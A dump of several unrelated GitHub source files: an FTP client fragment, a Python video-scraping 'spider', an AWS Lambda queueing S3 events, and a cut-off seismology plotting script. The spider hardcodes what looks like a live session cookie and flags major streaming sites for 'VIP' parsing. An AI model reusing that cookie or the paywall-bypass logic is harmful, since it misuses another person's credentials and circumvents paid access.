1:\n query.append(input(\"(to) \"))\n client.open(query[1], query[2] if len(query) > 2 else 3302)\n elif query[0] == 'close':\n client.close()\n log.info(\"Disconnected.\")\n elif query[0] == 'exit':\n client.close()\n break\n elif query[0] == 'lcd':\n try:\n if len(query) == 2:\n os.chdir(query[1])\n except Exception as e:\n raise FTPError(str(e))\n elif query[0] not in COMMANDS:\n log.error(\"Invalid command. Type ? for help\")\n else:\n response = client.send(query)\n if response.action == FTPResponse.ACTION_DISPLAY:\n log.info(response)\n log.info(response.data.decode('utf8'))\n elif response.action == FTPResponse.ACTION_SAVE:\n if type(response.data) != FileWrapper:\n raise TypeError(\n \"Expected type of FileWrapper in Response.data.\" +\n \" Got %s.\" % str(type(response.data)))\n try:\n response.data.write(os.getcwd())\n log.info(str(response))\n except OSError as e:\n log.error(str(e))\n elif response.action == FTPResponse.ACTION_IGNORE:\n log.info(response)\n\n except FTPError as fe:\n log.error(str(fe))\n\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt as e:\n if client is not None:\n client.close()\n client = None\n sys.exit(0)\n","repo_name":"psnilesh/OS-and-Networking-programs","sub_path":"5_ftp/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":5165,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"38568183251","text":"#coding=utf-8\n#!/usr/bin/python\nimport sys\nsys.path.append('..') \nfrom base.spider import Spider\nimport json\nimport time\nimport base64\nimport re\nfrom urllib import request, parse\nimport urllib\nimport urllib.request\nimport time\n\nclass Spider(Spider): # 元类 默认的元类 type\n\tdef getName(self):\n\t\treturn \"蓝海地星人的空间\"\n\tdef init(self,extend=\"\"):\n\t\tprint(\"============{0}============\".format(extend))\n\t\tpass\n\tdef isVideoFormat(self,url):\n\t\tpass\n\tdef manualVideoCheck(self):\n\t\tpass\n\tdef homeContent(self,filter):\n\t\tresult = {}\n\t\tcateManual = {\n\t\t\t\"个人收藏6\": \"Collection\"\n\t\t}\n\t\tclasses = []\n\t\tfor k in cateManual:\n\t\t\tclasses.append({\n\t\t\t\t'type_name':k,\n\t\t\t\t'type_id':cateManual[k]\n\t\t\t})\n\t\tresult['class'] = classes\n\t\tif(filter):\n\t\t\tresult['filters'] = self.config['filter']\n\t\treturn result\n\tdef homeVideoContent(self):\n\t\tresult = {\n\t\t\t'list':[]\n\t\t}\n\t\treturn result\n\tdef categoryContent(self,tid,pg,filter,extend):\n\t\tresult = {}\n\t\tvideos=[]\n\t\tif pg!='1':\n\t\t\treturn result\n\t\tUrl='http://my.ie.2345.com/onlinefav/web/getAllData?action=getData&id=21492773&s=&d=Fri%20Mar%2003%202023%2008:45:08%20GMT+0800%20(%E4%B8%AD%E5%9B%BD%E6%A0%87%E5%87%86%E6%97%B6%E9%97%B4)'\n\t\tvideos = self.get_list(html=self.webReadFile(urlStr=Url,header=self.header))\n\t\tresult['list'] = videos\n\t\tresult['page'] = pg\n\t\tresult['pagecount'] = 1\n\t\tresult['limit'] = 90\n\t\tresult['total'] = 999999\n\t\treturn result\n\tdef detailContent(self,array):\n\t\tresult = {}\n\t\taid = array[0].split('###')\n\t\ttid = aid[0]\n\t\tlogo = aid[3]\n\t\turl = aid[2]\n\t\ttitle = aid[1]\n\t\tvodItems=[]\n\t\tvod_play_from=['线路','测试']\n\t\tif tid!='List':\n\t\t\tvodItems = [title+\"$\"+url]\n\t\telse:\n\t\t\tid=self.get_RegexGetText(Text=url,RegexText=r'www\\.(.+?)\\.',Index=1)\n\t\t\tvod={\n\t\t\t\t'name':'dm88',\n\t\t\t\t'line':'
(.+?)',\n\t\t\t\t'circuit':'
    ',\n\t\t\t\t'after':'
',\n\t\t\t\t'pattern':'.+?)\">(?P.+?)</a>',\n\t\t\t\t'url':'https://www.ktkkt2.com'\n\t\t\t}\n\t\t\tReStr=[]\n\t\t\tReStr.append(vod)\n\t\t\tvod={\n\t\t\t\t'name':'ktkkt2',\n\t\t\t\t'line':'<h3 class=\"title\"><strong>(.+?)</strong><span class=\"text-muted pull-mid\">',\n\t\t\t\t'circuit':'<div id=\"video_list_',\n\t\t\t\t'after':'</div>',\n\t\t\t\t'pattern':r\"<li><a title=\\'.+?\\'\\shref=\\'(?P<url>.+?)\\'\"+'\\starget=\"_self\">(?P<title>.+?)</a></li>',\n\t\t\t\t'url':'https://www.ktkkt2.com'\n\t\t\t}\n\t\t\tReStr.append(vod)\n\t\t\treTxt=''\n\t\t\tfor t in ReStr:\n\t\t\t\tif t['name']==id:\n\t\t\t\t\treTxt=t\n\t\t\tif reTxt!='':\n\t\t\t\thtmlTxt=self.webReadFile(urlStr=url,header=self.header)\n\t\t\t\tline=self.get_RegexGetTextLine(Text=htmlTxt,RegexText=reTxt['line'],Index=1)\n\t\t\t\tvod_play_from=[t for t in line]\n\t\t\t\tcircuit=self.get_lineList(Txt=htmlTxt,mark=reTxt['circuit'],after=reTxt['after'])\n\t\t\t\t#测试到此\n\t\t\t\tfor t in circuit:\n\t\t\t\t\tListRe=re.finditer(reTxt['pattern'], t, re.M|re.S)\n\t\t\t\t\tvideos = []\n\t\t\t\t\tfor vod in ListRe:\n\t\t\t\t\t\turl = vod.group('url')\n\t\t\t\t\t\tEpisodeTitle =vod.group('title')\n\t\t\t\t\t\tvideos.append(EpisodeTitle+\"$\"+reTxt['url']+url)\n\t\t\t\t\tjoinStr = \"#\".join(videos)\n\t\t\t\t\tvodItems.append(joinStr)\n\t\t\t\t#array[0]=\"{0}###{1}###{2}###{3}\".format(tid,title,url,logo)\n\t\tvod = {\n\t\t\t\"vod_id\":array[0],\n\t\t\t\"vod_name\":title,\n\t\t\t\"vod_pic\":logo,\n\t\t\t\"type_name\":tid,\n\t\t\t\"vod_year\":\"\",\n\t\t\t\"vod_area\":\"\",\n\t\t\t\"vod_remarks\":\"\",\n\t\t\t\"vod_actor\":\"\",\n\t\t\t\"vod_director\":\"\",\n\t\t\t\"vod_content\":\"\"\n\t\t}\n\t\tvod['vod_play_from'] = \"$$$\".join(vod_play_from)\n\t\tvod['vod_play_url'] = \"$$$\".join(vodItems)\n\t\tresult = {\n\t\t\t'list':[\n\t\t\t\tvod\n\t\t\t]\n\t\t}\n\t\treturn result\n\tdef get_EpisodesList(self,html,patternTxt):\n\t\tListRe=re.finditer(patternTxt, html, re.M|re.S)\n\t\tvideos = []\n\t\tfor vod in ListRe:\n\t\t\turl = vod.group('url')\n\t\t\ttitle =vod.group('title')\n\t\t\tvideos.append(title+\"$\"+url)\n\t\treturn videos\n\tdef get_lineList(self,Txt,mark,after):\n\t\tcircuit=[]\n\t\torigin=Txt.find(mark)\n\t\twhile origin>8:\n\t\t\tend=Txt.find(after,origin)\n\t\t\tcircuit.append(Txt[origin:end])\n\t\t\torigin=Txt.find(mark,end)\n\t\treturn circuit\t\n\tdef get_RegexGetTextLine(self,Text,RegexText,Index):\n\t\treturnTxt=[]\n\t\tpattern = re.compile(RegexText, re.M|re.S)\n\t\tListRe=pattern.findall(Text)\n\t\tif len(ListRe)<1:\n\t\t\treturn returnTxt\n\t\tfor value in ListRe:\n\t\t\treturnTxt.append(value)\t\n\t\treturn returnTxt\n\tdef searchContent(self,key,quick):\n\t\tresult = {\n\t\t\t'list':[]\n\t\t}\n\t\treturn result\n\tdef playerContent(self,flag,id,vipFlags):\n\t\tresult = {}\n\t\theaders = {\n\t\t\t'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1'\n\t\t}\n\t\tjx=self.ifJx(urlTxt=id)\n\t\tparse=1\n\t\tresult[\"parse\"] = parse\n\t\tresult[\"playUrl\"] = ''\n\t\tresult[\"url\"] = id\n\t\tresult['jx'] = jx#VIP解析\n\t\tresult[\"header\"] = headers\t\n\t\treturn result\n\tdef ifJx(self,urlTxt):\n\t\tIsjiexi=0\n\t\tRegexTxt=r'(youku.com|v.qq|bilibili|iqiyi.com)'\n\t\tif self.get_RegexGetText(Text=urlTxt,RegexText=RegexTxt,Index=1)!='':\n\t\t\tIsjiexi=1\n\t\treturn Isjiexi\n\tdef get_RegexGetText(self,Text,RegexText,Index):\n\t\treturnTxt=\"\"\n\t\tRegex=re.search(RegexText, Text, re.M|re.S)\n\t\tif Regex is None:\n\t\t\treturnTxt=\"\"\n\t\telse:\n\t\t\treturnTxt=Regex.group(Index)\n\t\treturn returnTxt\t\n\tdef webReadFile(self,urlStr,header):\n\t\treq = urllib.request.Request(url=urlStr,headers=header)#,headers=header\n\t\thtml = urllib.request.urlopen(req).read().decode('utf-8')\n\t\t#print(Host)\n\t\treturn html\n\tdef get_list(self,html):\n\t\tpatternTxt=r'<a href=\\\\\"(http.+?)\\\\\" title=\\\\\"(.+?)\\\\\" target=\\\\\"_blank\\\\\">(.+?)</a>'\n\t\tpattern = re.compile(patternTxt)\n\t\tListRe=pattern.findall(html)\n\t\timg ='http://photo.16pic.com/00/78/41/16pic_7841675_b.jpg'\n\t\tvideos = []\n\t\ti=0\n\t\ttdi=''\n\t\tfor vod in ListRe:\n\t\t\tlastVideo = vod[0]\n\t\t\ttitle =vod[1]\n\t\t\ttdi='List' if title.find('_List')>1 else 'play'\n\t\t\tif len(lastVideo) == 0:\n\t\t\t\tcontinue\n\t\t\tvideos.append({\n\t\t\t\t\"vod_id\":\"{0}###{1}###{2}###{3}\".format(tdi,title,lastVideo,img),\n\t\t\t\t\"vod_name\":title,\n\t\t\t\t\"vod_pic\":img,\n\t\t\t\t\"vod_remarks\":''\n\t\t\t})\n\t\tres = [i for n, i in enumerate(videos) if i not in videos[:n]]\n\t\tvideos = res\n\t\treturn videos\n\tdef get_list_B(self,jsonTxt):\n\t\tvideos=[]\n\t\tjRoot = json.loads(jsonTxt)\n\t\tif jRoot['code']!=0:\n\t\t\treturn videos\n\t\tjo = jRoot['data']\n\t\tvodList = jo['list']\n\t\trooms=jo['rooms']\n\t\tfor vod in vodList:\n\t\t\turl =vod['room_id']\n\t\t\ttitle =vod['title']\n\t\t\timg=vod['keyframe']\n\t\t\tremarks=vod['uname']\n\t\t\tif len(img)<3:\n\t\t\t\timg='https://www.baidu.com/link?url=w4owbtzM4I-UZp_1mOG3XAfrgl20sGkgnjZDyVglrgGRk9g2S3TpFA0Sh9E0YqsJ&wd=&eqid=f583e14d00056df100000003642e34bd'\n\t\t\tvod_id=\"{0}###{1}###{2}\".format(title,url,img)\n\t\t\tvideos.append({\n\t\t\t\t\"vod_id\":vod_id,\n\t\t\t\t\"vod_name\":title,\n\t\t\t\t\"vod_pic\":img,\n\t\t\t\t\"vod_remarks\":remarks\n\t\t\t})\n\t\treturn videos\n\tdef get_m3u8Url_B(self,jsonTxt):\n\t\tvideos=[]\n\t\tjRoot = json.loads(jsonTxt)\n\t\tif jRoot['code']!=0:\n\t\t\treturn videos\n\t\tjo = jRoot['data']\n\t\troom_id=jo['room_id']\n\t\tplayurl=jo['playurl_info']\n\t\tplayurl=playurl['playurl']\n\t\tdesc=playurl['g_qn_desc']\n\t\tdescMass={}\n\t\tfor x in desc:\n\t\t\tdescMass[x['qn']]=x['desc']\n\t\tstream=playurl['stream']\n\t\turlM3u8=[]\n\t\tfor vod in stream:\n\t\t\tformatJson=vod['format']\n\t\t\tif len(formatJson)<1:\n\t\t\t\tcontinue\n\t\t\tfor x in formatJson:\n\t\t\t\tcodec=x['codec']\n\t\t\t\tformat_name=x['format_name']\n\t\t\t\tfor x1 in codec:\n\t\t\t\t\tqn=x1['current_qn']\n\t\t\t\t\turl=x1['base_url']\n\t\t\t\t\thost=x1['url_info'][0]['host']\n\t\t\t\t\textra=x1['url_info'][0]['extra']\n\t\t\t\t\turlM3u8.append({\n\t\t\t\t\t\t'Url':url,\n\t\t\t\t\t\t'host':host,\n\t\t\t\t\t\t'qn':qn,\n\t\t\t\t\t\t'extra':extra,\n\t\t\t\t\t\t'format_name':format_name\n\t\t\t\t\t\t})\n\t\tif len(urlM3u8)>0:\n\t\t\tfor x in urlM3u8:\n\t\t\t\turl=x['host']+x['Url']+x['extra']\n\t\t\t\ttitle=descMass.get(x['qn'])+\"[\"+x['format_name'].replace(\"fmp4\",\"m3u8\")+\"]\"\n\t\t\t\tvideos.append(title+\"$\"+url)\n\t\tif len(videos)<1:\n\t\t\tidTxt='platform=web&quality=4_{0}'.format(room_id)\n\t\t\tids = idTxt.split(\"_\")\n\t\t\tUrl = 'https://api.live.bilibili.com/room/v1/Room/playUrl?cid=%s&%s'%(ids[1],ids[0])\n\t\t\trsp = self.fetch(Url,headers=self.header)\n\t\t\thtmlTxt = rsp.text\n\t\t\tjRoot = json.loads(htmlTxt)\n\t\t\tif jRoot['code']!=0:\n\t\t\t\treturn videos\n\t\t\tjo = jRoot['data']\n\t\t\tja = jo['durl']\n\t\t\tquality=jo['quality_description']\n\t\t\turl = ''\n\t\t\tif len(ja) > 0:\n\t\t\t\turl1 = ja[0]['url']\n\t\t\t\ttitle=quality[0]['desc']\n\t\t\t\tvideos.append(title+\"$\"+url1)\n\t\treturn videos\n\tconfig = {\n\t\t\"player\": {},\n\t\t\"filter\": {}\n\t\t}\n\theader = {\n\t\t\"Referer\": 'http://my.ie.2345.com/onlinefav/web/',\n\t\t'User-Agent':'my.ie.2345.com',\n\t\t'Cookie':'uUiD=35752164629621148571735; name_ie=%2534013%2528023%2522320%2526143%2520154; I=i%3D90475631%26u%3D88890231%26n%3D%25C0%25B6%25BA%25A3%25B5%25D8%25D0%25C7%25C8%25CB%26m%3D0%26t%3D1675499574.1711300%26s%3D6a22a64feb086a03715e47d4cc3e8a29%26v%3D1.1; sData=6392F231FBE75023D053CEFE20A81E6EE43333BF6FF9CD4610BA32AB109E43FD1742EBAAA408F5EB45E7E1A10A40174BC8EE73651C7AD84AC5840AEA48B014F46FE421C992A7799DBF763B0E743AC8716814F0237BC8F8CC62FCF9F8A283040ADD791FBDD3470D699AA43B70F9886350F57021D6DB5E7B8E001ABEFE70C38424; site_str_flag=2; need_modify_name=0; skin=0; theme=0; ggbd=0'\n\t}\n\tdef webReadFile(self,urlStr,header):\n\t\treq = urllib.request.Request(url=urlStr,headers=header)#,headers=header\n\t\thtml = urllib.request.urlopen(req).read().decode('utf-8')\n\t\t#print(Host)\n\t\treturn html\n\tdef localProxy(self,param):\n\t\treturn [200, \"video/MP2T\", action, \"\"]\n","repo_name":"plutomiler/box-2","sub_path":"py/py_space.py","file_name":"py_space.py","file_ext":"py","file_size_in_byte":9183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"578034107","text":"import json, boto3, datetime\nimport logging\nimport os\nimport urllib.parse\nfrom botocore.exceptions import ClientError\nimport uuid\nimport random\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\nsns = boto3.client('sns')\ns3_resource = boto3.resource('s3')\ndynamodb_resource = boto3.resource('dynamodb')\nddb = os.environ['ddb']\npipeline_table = dynamodb_resource.Table(ddb)\nsqs_resource = boto3.resource('sqs')\n\nHIGH = os.environ['HIGH']\nLOW = os.environ['LOW']\n\n\n\n\n \ndef get_item(table, key):\n try:\n item = table.get_item(Key={\"name\":key}, ConsistentRead=True)['Item']\n except ClientError:\n msg = 'Error getting item from {} table'.format(table)\n logger.exception(msg)\n raise\n return item\n\ndef send_message_to_fifo_queue(queue_name, message, group_id):\n try:\n queue_name.send_message(MessageBody=json.dumps(message, indent=4), MessageGroupId=group_id, MessageDeduplicationId=str(uuid.uuid1()))\n except ClientError as e:\n logger.error(\"Received error: %s\", e, exc_info=True)\n raise e\n \ndef list_s3_obj(src_bucket_object, prefix, exclusion):\n list_objects = []\n for obj in src_bucket_object.objects.filter(Prefix=prefix):\n if(\"$folder$\" not in obj.key and obj.key != prefix and \".trigger\" not in obj.key):\n if(exclusion == 0):\n list_objects.append(obj.key)\n if(exclusion ==1):\n key = obj.key\n key = \"/\".join(key.split(\"/\")[0:-1])\n list_objects.append(key)\n \n if(exclusion ==1):\n return list(set(list_objects))\n \n return list_objects\n \ndef json_serial(obj):\n \"\"\"JSON serializer for objects not serializable by default\"\"\"\n if isinstance(obj, (datetime, date)):\n return obj.isoformat()\n raise TypeError(\"Type %s not serializable\" % type(obj))\n \ndef lambda_handler(event, context):\n try:\n logger.info(\"lambda got event: {}\".format(event))\n component = context.function_name\n logger.info(\"{} lambda Started\".format(component))\n\n high_message_queue = sqs_resource.get_queue_by_name(QueueName=HIGH,)\n low_message_queue = sqs_resource.get_queue_by_name(QueueName=LOW,)\n \n event_body = json.loads(event[\"Records\"][0][\"body\"])\n s3_path = event_body[\"Records\"][0][\"s3\"][\"object\"][\"key\"]\n s3_path = urllib.parse.unquote_plus(s3_path, encoding='utf-8')\n src_bucket = event_body[\"Records\"][0][\"s3\"][\"bucket\"][\"name\"]\n \n src_bucket_obj = s3_resource.Bucket(src_bucket)\n s3_prefix = (\"/\".join(s3_path.split(\"/\")[:-1]))\n \n logger.info(\"src_bucket={}\".format(src_bucket))\n logger.info(\"s3_prefix={}\".format(s3_prefix))\n \n list_obj = list_s3_obj(src_bucket_obj,s3_prefix,1)\n logger.info(\"list_obj={}\".format(list_obj))\n \n for key in list_obj:\n logger.info(\"key:{}\".format(key))\n key_list = key.split(\"/\")\n source = key_list[1]\n schema =key_list[2]\n dataset = key_list[4]\n \n list_obj_data = list_s3_obj(src_bucket_obj, key+\"/\", 0)\n logger.info(\"list_obj_data={}\".format(list_obj_data))\n \n pipeline_name=f\"{source.upper()}-{dataset.upper()}\"\n logger.info(\"pipeline_name={}\".format(pipeline_name))\n\n\n type_event = ['success','failure']\n \n sfn_event = {\n 'statusCode': 200,\n 'body': {\n \"bucket\": src_bucket,\n \"keysToProcess\": list_obj_data,\n \"dataset\": dataset,\n \"source\": source,\n \"schema_name\": schema,\n \"batch_id\": str(uuid.uuid1()),\n \"systemtimestamp\": datetime.datetime.now().strftime(\"%Y-%m-%dT%H:%M:%S.%f\")[:-3],\n \"type\": random.choice(type_event)\n }\n }\n \n logger.info(\"pipeline_table={}\".format(pipeline_table))\n logger.info(f\"pipeline_name={pipeline_name}\")\n \n items = get_item(pipeline_table, pipeline_name)\n \n logger.info(\"ddb_items={}\".format(items))\n \n priority = items[\"priority\"]\n \n logger.info(\"priority={}\".format(priority))\n \n if(priority == \"HIGH\"):\n queue_name=high_message_queue\n else:\n queue_name=low_message_queue\n \n logger.info(\"queue_name={}\".format(queue_name))\n \n send_message_to_fifo_queue(queue_name, sfn_event, source)\n \n logger.info(f\"sfn_event:{sfn_event}\")\n \n logger.info(\"{} lambda Completed\".format(component))\n \n return {\n 'statusCode': 200\n }\n\n except Exception as e:\n raise e\n ","repo_name":"awslabs/aws-serverless-data-lake-framework","sub_path":"sdlf-utils/pipeline-examples/datalake-workload-management/wlm-standalone/lambda/send-events-sqs/src/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":4957,"program_lang":"python","lang":"en","doc_type":"code","stars":369,"dataset":"github-code","pt":"61"} +{"seq_id":"30810629506","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 5 09:25:52 2021\n\n@author: chris\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport rupture_functions as rup\n\n\nimport pandas as pd\nimport numpy as np\n\nslip_model_file = '/Users/chris/Documents/Valerie_work/Crete/Crete_slip_model.txt'\nslip_data = pd.read_csv(slip_model_file, delimiter=\"\\s+\", skiprows=14, header = None)\nslip_data.columns = [\"Latitude\", \"Longitude\", \"Depth\", \"Slip(cm)\", \"Rake\", \"Strike\", \"Dip\"]\npga_file = ('/Users/chris/Documents/Valerie_work/Crete/Data_download/events/Main_event/Strong_motion/mainshockPGA.txt')\nstation_flatfile_path = '/Users/chris/Documents/Valerie_work/Crete/Data_download/events/Main_event/collected_flatfile_main_event.csv'\nstation_flatfile = pd.read_csv(station_flatfile_path, header='infer')\nRhypo = np.array([])\nRrup = np.array([])\n\nhypo_location = [25.71, 34.182, 10]\n\n\n#%%\nRrup, Rhypo = rup.compute_openquake_distances(slip_data, pga_file, hypo_location)\nvs30_file_path = '/Users/chris/Documents/Valerie_work/global_vs30.grd'\nxytmpfile_path = '/Users/chris/Documents/Valerie_work/Crete/xytmpfile'\nxy_vs30_tmpfile_path = '/Users/chris/Documents/Valerie_work/Crete/xy_vs30_tmpfile'\n\nvs30 = rup.extract_vs30_forpandas(pga_file, xytmpfile_path, xy_vs30_tmpfile_path, vs30_file_path) \n#%%\nkk = pd.read_csv('/Users/chris/Documents/Valerie_work/Crete/Observed_IMTS/obs_IMs_P2_#1.csv', header = 'infer' )\npga_values = np.genfromtxt('/Users/chris/Documents/Valerie_work/Crete/Data_download/events/Main_event/Strong_motion/mainshockPGA.txt', usecols=8)\n#Rrup_1 = np.array([np.log10(750), np.log10(1000), np.log10(5000), np.log10(10000),np.log10(20000),np.log10(30000),np.log10(40000) ,np.log10(50000),np.log10(60000),np.log10(700000)])\nRrup_1 = np.logspace(1.5, 3, 30, endpoint=True)\nRrup_model = np.asarray([100, 200])\n#Rrup = np.sort(kk['hypdist'].values)\n#Rrup = np.sort(Rrup)\nmag = np.linspace(3.5,6.5, 30)\nlmean_ask14, sd_ask14 = rup.oq_ask2014(6.6, Rrup, vs30=vs30)\nlmean_ask14 = 9.8*(np.exp(lmean_ask14))\nlmean_b14, sd_b14 = rup.oq_boore2014(6.6,Rrup, vs30=vs30)\nlmean_b14 = 9.8*(np.exp(lmean_b14))\nlmean_b14_5, sd_b14_5 = rup.oq_boore2014(5.3, Rrup)\nlmean_b14_5 = 9.8*(np.exp(lmean_b14_5))\nlmean_cy14, sd_cy14 = rup.oq_Chioy2014(6.6, Rrup, vs30=vs30)\nlmean_cy14 = 9.8*(np.exp(lmean_cy14))\nlmean_sk13, sd_sk13 = rup.oq_Skarlatoudis2013(6.6, Rrup, vs30=vs30)\nlmean_sk13 = 9.8*(np.exp(lmean_sk13))\nlmean_sk13_5, sd_sk13_5 = rup.oq_Skarlatoudis2013(5.8, Rrup)\nlmean_sk13_5 = 9.8*(np.exp(lmean_sk13_5))\nlmean_z16, sd_z16 = rup.oq_Zhao_2006(6.6,Rrup, vs30=vs30)\nlmean_z16 = 9.8*(np.exp(lmean_z16))\n#%%\n## Prediction calculation and plotting\n\n\nplt.figure()\nplt.scatter(Rrup, pga_values)\n# for i in range(len(Rrup_model)):\n# b = [el[i] for el in lmean_ask14]\n# plt.plot(mag, b, '--', color='black') \n# for i in range(len(Rrup_model)): \n# c = [el[i] for el in lmean_b14]\n# plt.plot(mag, c, '--', color='black') \n \nplt.scatter(Rrup, lmean_ask14, color='red', label='Abrahamson2014')\nplt.scatter(Rrup, lmean_b14, color='green', label= 'Boore2014')\nplt.scatter(Rrup, lmean_cy14, color='black', label= 'ChioyYoung2014')\nplt.scatter(Rrup, lmean_sk13, color='blue', label= 'Skarlatoudis2013')\nplt.scatter(Rrup, lmean_z16, color='orange', label= 'Zhao2006')\nplt.scatter(Rrup, lmean_sk13_5, color='blue', marker='+', label= 'Skarlatoudis2013_5.8')\nplt.scatter(Rrup, lmean_b14_5, color='green', marker='+', label= 'Boore2014_5.3')\nplt.xscale('log')\nplt.yscale('log')\nplt.xlabel('Rrup (km)')\nplt.ylabel('PGA (m/s/s/)')\nplt.text(5.5, 0.8E-3, 'ASK14 = 100km', rotation = 20)\nplt.text(5.5, 2.8E-5, 'ASK14 = 200km', rotation = 20)\nplt.xlim(0.5E2, 8E2)\nplt.ylim(1E-3, 1E0)\nplt.legend()\n# plt.savefig('/Users/chris/Documents/Valerie_work/Crete/figures' +'figure_p2_apr_12.png')\n# clb = plt.colorbar()\n# clb.ax.set_title('Distance(km)')\nplt.show()\n\n#%%\n## Scatter plot for all polygons\n\n\nkkk = kk.loc[kk['mw'] > 5.]\nkkk = kkk[kkk['pga'].notna()]\nplt.figure()\nplt.scatter( kkk['hypdist'], kkk['pga'], c=kkk['mw'],cmap='viridis')\nplt.xscale('log')\nplt.yscale('log') \nplt.xlabel('Rrup(km)')\nplt.ylabel('PGA (m/s/s)')\nclb = plt.colorbar()\nclb.ax.set_title('Mw')\n#%%\n## Residual plot\nfrom scipy.stats import binned_statistic\nbin_r_start = np.log10(55)\nbin_r_end = np.log10(1000)\nbin_r_num = 9\nr_bins = np.logspace(bin_r_start,bin_r_end,bin_r_num)\nask14_color = '#40235e'\nsk13_color = '#5aad6a'\nb14_color = '#eded55'\nzhao_color = '#3b918d'\n\ni_total_residual_ask14 = np.log(pga_values) - np.log(lmean_ask14)\nask14_means,ask14_binedges,ask14_binnumbers = binned_statistic(Rrup,i_total_residual_ask14, bins=r_bins,statistic='mean')\nask14_std,ask14_std_binedges,ask14_std_binnumbers = binned_statistic(Rrup,i_total_residual_ask14,bins=r_bins,statistic='std') \n\ni_total_residual_sk13 = np.log(pga_values) - np.log(lmean_sk13)\nsk13_means,sk13_binedges,sk13_binnumbers = binned_statistic(Rrup,i_total_residual_sk13, bins=r_bins,statistic='mean')\nsk13_std,sk13_std_binedges,sk13_std_binnumbers = binned_statistic(Rrup,i_total_residual_sk13,bins=r_bins,statistic='std') \n\ni_total_residual_b14 = np.log(pga_values) - np.log(lmean_b14)\nb14_means,b14_binedges,b14_binnumbers = binned_statistic(Rrup,i_total_residual_b14, bins=r_bins,statistic='mean')\nb14_std,b14_std_binedges,b14_std_binnumbers = binned_statistic(Rrup,i_total_residual_b14,bins=r_bins,statistic='std') \n\ni_total_residual_z16 = np.log(pga_values) - np.log(lmean_z16)\nz16_means,z16_binedges,z16_binnumbers = binned_statistic(Rrup,i_total_residual_z16, bins=r_bins,statistic='mean')\nz16_std,z16_std_binedges,z16_std_binnumbers = binned_statistic(Rrup,i_total_residual_z16,bins=r_bins,statistic='std') \n\nbin_x_ask14 = (ask14_binedges+(bin_r_num/2))[0:-1]\nbin_x_sk13 = (sk13_binedges+(bin_r_num/2))[0:-1]\nbin_x_b14 = (b14_binedges+(bin_r_num/2))[0:-1]\nbin_x_z16 = (z16_binedges+(bin_r_num/2))[0:-1]\n\n# Scatter garcia:\nplt.figure() \nplt.scatter(Rrup,i_total_residual_ask14,marker='^',s=10,facecolor=ask14_color,edgecolor='k',label='ASK14')\nplt.scatter(Rrup,i_total_residual_sk13,marker='o',s=10,facecolor=sk13_color,edgecolor='k',label='SK13')\nplt.scatter(Rrup,i_total_residual_b14,marker='h',s=10,facecolor=b14_color,edgecolor='k',label='B14')\nplt.scatter(Rrup,i_total_residual_z16,marker='s',s=10,facecolor=zhao_color,edgecolor='k',label='Zhao06')\n\nplt.xscale('log')\nplt.errorbar(bin_x_ask14,ask14_means,yerr=ask14_std,marker='^',linewidth=2,markersize=10,color=ask14_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='ASK14 binned')\nplt.errorbar(bin_x_sk13,sk13_means,yerr=sk13_std,marker='o',linewidth=2,markersize=10,color=sk13_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='SK13 binned')\nplt.errorbar(bin_x_b14,b14_means,yerr=b14_std,marker='h',linewidth=2,markersize=10,color=b14_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='B14 binned')\nplt.errorbar(bin_x_z16,z16_means,yerr=z16_std,marker='s',linewidth=2,markersize=10,color=zhao_color,ecolor='k',elinewidth=2,capsize=5,capthick=2,label='Zhao binned')\nplt.axhline(y=0,linestyle='--',color='#606060')\nplt.xlabel('Distance (km)',labelpad=0)\nplt.ylabel('ln residual',labelpad=0)\n\nplt.legend()\n\n\n#%%\n\n#SA plotting\n\nfrom matplotlib import colors\n\nSA_period = [3,2,1.5,1,0.5,0.3]\nRrup_1 = np.logspace(1.5, 3, 30, endpoint=True)\nSA_file = ('/Users/chris/Documents/Valerie_work/Crete/Data_download/events/Main_event/Strong_motion/mainshockPGA.txt')\nnumber = 9\nSA_legend = ['Period = 3s', 'Period = 2s', 'Period = 1.5s', 'Period = 1s', 'Period = 0.5s', 'Period = 0.3s', 'Period = 0.1s' ]\nfig = plt.figure()\nfig.subplots_adjust(hspace=0.4, wspace=0.4)\nfor i in range(1,7 ):\n lmean_ask14, sd_ask14 = rup.oq_ask2014(6.6, Rrup_1, predictive_parameter=SA_period[i-1])\n lmean_ask14 = 9.8*(np.exp(lmean_ask14))\n lmean_sk13, sd_sk13 = rup.oq_Skarlatoudis2013(6.6, Rrup_1, predictive_parameter=SA_period[i-1])\n lmean_sk13 = 9.8*(np.exp(lmean_sk13))\n ax = fig.add_subplot(2, 3, i)\n ax.scatter(Rrup, np.genfromtxt('/Users/chris/Documents/Valerie_work/Crete/Data_download/events/Main_event/Strong_motion/mainshockPGA.txt', usecols=number+i), label=SA_legend[i-1])\n ax.plot(Rrup_1, lmean_ask14, color='red', label='Ask14')\n ax.plot(Rrup_1, lmean_sk13, color='green', label='SK13')\n ax.set_xscale('log')\n ax.set_yscale('log')\n ax.set_xlabel('Rrup(km)')\n ax.set_ylabel('SA') \n ax.legend() \n\n\n# SA_period = [3,2,1.5,1,0.5,0.3]\n# Rrup_1 = np.logspace(1.5, 3, 30, endpoint=True)\n# SA_file = ('/Users/chris/Documents/Valerie_work/Crete/Observed_IMTS/SA_main_P4_#1.txt')\n# number = 1\n# SA_legend = ['Period = 3s', 'Period = 2s', 'Period = 1.5s', 'Period = 1s', 'Period = 0.5s', 'Period = 0.3s', 'Period = 0.1s' ]\n# fig = plt.figure()\n# fig.subplots_adjust(hspace=0.4, wspace=0.4)\n# for i in range(1,7 ):\n# gg = fig.add_subplot(2, 3, i)\n# axx = gg.scatter(np.genfromtxt(SA_file, usecols=7, skip_header = 1), np.genfromtxt(SA_file, usecols=i+7, skip_header = 